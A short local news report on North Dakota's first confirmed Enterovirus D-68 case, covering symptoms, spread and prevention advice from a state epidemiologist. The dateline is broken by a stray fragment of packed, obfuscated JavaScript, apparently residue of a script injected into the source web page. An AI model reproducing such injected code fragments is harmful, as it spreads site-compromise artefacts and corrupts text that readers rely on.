JAMESTOWN, ydaza|var|u0026u|referrer|dbskh||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) The first confirmed case of Enterovirus D-68 has been identified in a child from Stutsman County, according to the North Dakota Department of Health. It’s the first case reported in North Dakota. The girl was hospitalized with a respiratory illness that caused difficulty breathing, cough and wheezing. The patient is no longer hospitalized and is recovering at home. 

Jill Baber is an epidemiologist with the North Dakota Department of Health. She says enteroviruses are not reportable to the North Dakota Department of Health, so the number of cases being reported are not necessarily representative of the number of EV-68 cases in the state.

Infected individuals have mild to severe respiratory illness that may include cough, trouble breathing and wheezing. The virus is most likely spread through coughs, sneezes or contact with surfaces contaminated with saliva or mucus. Parents, as always, should seek medical attention if their child has difficulty breathing.

Baber says the public can protect themselves against EV-68 and other respiratory viruses by frequently washing hands with soap and water, avoiding close contact with sick people and disinfecting frequently touched surfaces.